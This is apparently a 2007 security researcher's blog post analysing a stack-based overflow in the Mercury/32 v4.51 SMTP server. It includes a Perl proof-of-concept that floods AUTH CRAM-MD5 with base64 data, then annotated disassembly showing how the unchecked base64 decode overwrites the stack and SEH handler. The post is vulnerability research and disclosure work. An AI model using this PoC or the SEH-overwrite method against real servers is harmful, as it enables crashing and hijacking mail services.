by axis
2007-08-20
http://www.ph4nt0m.org
eliteb0y had posted a stack based overflow of Mercury SMTPD on FD today.
POC: http://www.milw0rm.com/exploits/4294
use IO::Socket;
use MIME::Base64;
$|=1;
$host = "localhost";
$a = "QUFB" x 10000;
my $sock = IO::Socket::INET->new(PeerAddr => "$host",
PeerPort => '25',
Proto => 'tcp');
print $sock "EHLO you\r\n";
print $sock "AUTH CRAM-MD5\r\n";
print $sock $a . "\r\n";
while(<$sock>) {
print;
}
I've installed the latest version of Mercury,and found that the banner of smtpd has been deleted, but the banner of imapd is still keeped.
My machine:
Windows 2003 CN SP1
Mercury/32 v4.51
attach to mercury.exe process:
The Vuln Func:
015261B3 6A 00 PUSH 0
015261B5 8D8B A2060000 LEA ECX,DWORD PTR DS:[EBX+6A2]
015261BB 51 PUSH ECX ; 指向string
015261BC 8D85 38FFFFFF LEA EAX,DWORD PTR SS:[EBP-C8]
015261C2 50 PUSH EAX
015261C3 8B15 D8CB5401 MOV EDX,DWORD PTR DS:[154CBD8]
015261C9 FF92 3E010000 CALL DWORD PTR DS:[EDX+13E] ; mercury.004251C1
The Second Args here points to our string
In the Func:
004251C1 55 PUSH EBP
004251C2 8BEC MOV EBP,ESP
004251C4 51 PUSH ECX
004251C5 53 PUSH EBX
004251C6 56 PUSH ESI
004251C7 8B55 08 MOV EDX,DWORD PTR SS:[EBP+8] ; dest
004251CA E9 4B010000 JMP mercury.0042531A
it will copy to here([edx]), which address is in the stack
004251C7 8B55 08 MOV EDX,DWORD PTR SS:[EBP+8] ; dest
now in the stack
EDX = 025FFAD4
025FFAD0 |00000004
025FFAD4 |025FFB20 ; 从这里覆盖起
025FFAD8 |71A8236B 返回到 mswsock.71A8236B 来自 kernel32.InterlockedDecrement
025FFADC |71A8237A 返回到 mswsock.71A8237A 来自 mswsock.71A81480
025FFAE0 |00000000
025FFAE4 |0016AFE8
025FFAE8 |00000000
025FFAEC |0000277B
025FFAF0 |00168E68
and continue:
0042531A 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]
0042531D FF45 0C INC DWORD PTR SS:[EBP+C]
00425320 0FBE01 MOVSX EAX,BYTE PTR DS:[ECX]
00425323 85C0 TEST EAX,EAX
00425325 ^ 0F85 A4FEFFFF JNZ mercury.004251CF ; 跳转实现
0042532B C602 00 MOV BYTE PTR DS:[EDX],0
0042532E B8 01000000 MOV EAX,1
00425333 5E POP ESI
now is the proceture of copy,take care of badchars
004251CF 83F8 0D CMP EAX,0D
004251D2 0F84 42010000 JE mercury.0042531A
004251D8 83F8 0A CMP EAX,0A
004251DB 0F84 39010000 JE mercury.0042531A
004251E1 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]
004251E4 0FBE09 MOVSX ECX,BYTE PTR DS:[ECX]
004251E7 FF45 0C INC DWORD PTR SS:[EBP+C]
004251EA 8B5D 0C MOV EBX,DWORD PTR SS:[EBP+C]
004251ED 0FBE33 MOVSX ESI,BYTE PTR DS:[EBX]
004251F0 FF45 0C INC DWORD PTR SS:[EBP+C]
004251F3 8B5D 0C MOV EBX,DWORD PTR SS:[EBP+C]
004251F6 0FBE1B MOVSX EBX,BYTE PTR DS:[EBX]
004251F9 895D FC MOV DWORD PTR SS:[EBP-4],EBX
004251FC FF45 0C INC DWORD PTR SS:[EBP+C]
004251FF 85C9 TEST ECX,ECX
00425201 74 0A JE SHORT mercury.0042520D
00425203 85F6 TEST ESI,ESI
00425205 74 06 JE SHORT mercury.0042520D
00425207 837D FC 00 CMP DWORD PTR SS:[EBP-4],0
0042520B 75 0A JNZ SHORT mercury.00425217
0042520D C602 00 MOV BYTE PTR DS:[EDX],0
00425210 33C0 XOR EAX,EAX
00425212 E9 1C010000 JMP mercury.00425333
00425217 83F8 3D CMP EAX,3D
0042521A 0F84 0B010000 JE mercury.0042532B
00425220 83F9 3D CMP ECX,3D
00425223 0F84 02010000 JE mercury.0042532B
00425229 85C0 TEST EAX,EAX
0042522B 7C 05 JL SHORT mercury.00425232
0042522D 83F8 7F CMP EAX,7F
00425230 7E 05 JLE SHORT mercury.00425237
00425232 83CB FF OR EBX,FFFFFFFF
00425235 EB 08 JMP SHORT mercury.0042523F
00425237 0FBF1C45 96A946>MOVSX EBX,WORD PTR DS:[EAX*2+46A996] ; 根据我们控制的数据,变成offset,读取.data中的数据
0042523F 8BC3 MOV EAX,EBX
00425241 85C9 TEST ECX,ECX
00425243 7C 05 JL SHORT mercury.0042524A
00425245 83F9 7F CMP ECX,7F
00425248 7E 05 JLE SHORT mercury.0042524F
0042524A 83CB FF OR EBX,FFFFFFFF
0042524D EB 08 JMP SHORT mercury.00425257
0042524F 0FBF1C4D 96A946>MOVSX EBX,WORD PTR DS:[ECX*2+46A996]
00425257 8BCB MOV ECX,EBX
00425259 C1E0 02 SHL EAX,2
0042525C 8BD9 MOV EBX,ECX
0042525E 83E3 30 AND EBX,30
00425261 C1FB 04 SAR EBX,4
00425264 0BC3 OR EAX,EBX
00425266 A8 80 TEST AL,80
00425268 74 14 JE SHORT mercury.0042527E
0042526A 837D 10 00 CMP DWORD PTR SS:[EBP+10],0
0042526E 74 0E JE SHORT mercury.0042527E
copy after jmp,take care of the algorithm:
0042527E 8802 MOV BYTE PTR DS:[EDX],AL ; copy begin
00425280 42 INC EDX
00425281 83FE 3D CMP ESI,3D
00425284 0F84 A1000000 JE mercury.0042532B
0042528A 85F6 TEST ESI,ESI
0042528C 7C 05 JL SHORT mercury.00425293
0042528E 83FE 7F CMP ESI,7F
00425291 7E 05 JLE SHORT mercury.00425298
00425293 83C8 FF OR EAX,FFFFFFFF
00425296 EB 08 JMP SHORT mercury.004252A0
00425298 0FBF0475 96A946>MOVSX EAX,WORD PTR DS:[ESI*2+46A996]
004252A0 8BF0 MOV ESI,EAX
004252A2 8BC1 MOV EAX,ECX
004252A4 83E0 0F AND EAX,0F
004252A7 C1E0 04 SHL EAX,4
004252AA 8BCE MOV ECX,ESI
004252AC 83E1 3C AND ECX,3C
004252AF C1F9 02 SAR ECX,2
004252B2 0BC1 OR EAX,ECX
004252B4 A8 80 TEST AL,80
004252B6 74 14 JE SHORT mercury.004252CC
004252B8 837D 10 00 CMP DWORD PTR SS:[EBP+10],0
004252BC 74 0E JE SHORT mercury.004252CC
jmp and continue:
004252CC 8802 MOV BYTE PTR DS:[EDX],AL ; 拷贝
004252CE 42 INC EDX
004252CF 837D FC 3D CMP DWORD PTR SS:[EBP-4],3D
004252D3 74 56 JE SHORT mercury.0042532B
004252D5 837D FC 00 CMP DWORD PTR SS:[EBP-4],0
004252D9 7C 06 JL SHORT mercury.004252E1
004252DB 837D FC 7F CMP DWORD PTR SS:[EBP-4],7F
004252DF 7E 05 JLE SHORT mercury.004252E6
004252E1 83C8 FF OR EAX,FFFFFFFF
004252E4 EB 0B JMP SHORT mercury.004252F1
004252E6 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4]
004252E9 0FBF044D 96A946>MOVSX EAX,WORD PTR DS:[ECX*2+46A996]
004252F1 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
004252F4 8BC6 MOV EAX,ESI
004252F6 83E0 03 AND EAX,3
004252F9 C1E0 06 SHL EAX,6
004252FC 0B45 FC OR EAX,DWORD PTR SS:[EBP-4]
004252FF A8 80 TEST AL,80
00425301 74 14 JE SHORT mercury.00425317
. . . . . .
00425317 8802 MOV BYTE PTR DS:[EDX],AL ; copy
00425319 42 INC EDX
0042531A 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]
0042531D FF45 0C INC DWORD PTR SS:[EBP+C]
00425320 0FBE01 MOVSX EAX,BYTE PTR DS:[ECX]
00425323 85C0 TEST EAX,EAX
00425325 ^ 0F85 A4FEFFFF JNZ mercury.004251CF ; 循环
it will overwrite the entire stack, then trigger the exception
025FFFB0 41414141 指向下一个 SEH 记录的指针
025FFFB4 41414141 SE处理程序
025FFFB8 41414141
025FFFBC 41414141
025FFFC0 41414141
025FFFC4 41414141
025FFFC8 41414141
025FFFCC 41414141
025FFFD0 41414141
025FFFD4 41414141
025FFFD8 41414141
025FFFDC 41414141
025FFFE0 41414141
025FFFE4 41414141
025FFFE8 41414141
025FFFEC 41414141
025FFFF0 41414141
025FFFF4 41414141
025FFFF8 41414141
025FFFFC 41414141
If you read suck above, let me explain it:
It's very simple, as you input your string, it will find the corresponding char in .data, then copy the corresponding char to somewhere in the stack. Because of the lack of length checking, it will continued copy the string to the stack unless the end of the string was found, so it will overwrite the entire stack, and the exception is triggered.
It will overwrite the seh handler in the stack, so we can control the flow of execution by overwriting SEH.
At first, the algorithm made me suck here, but void told me that it was a standard base64 here. So it becomes much easier to exploit it.
And base64 encode("AAA") = "QUFB", which is the string used in the POC here.
Thanks to Void#ph4nt0m for help me recognizing the algorithm.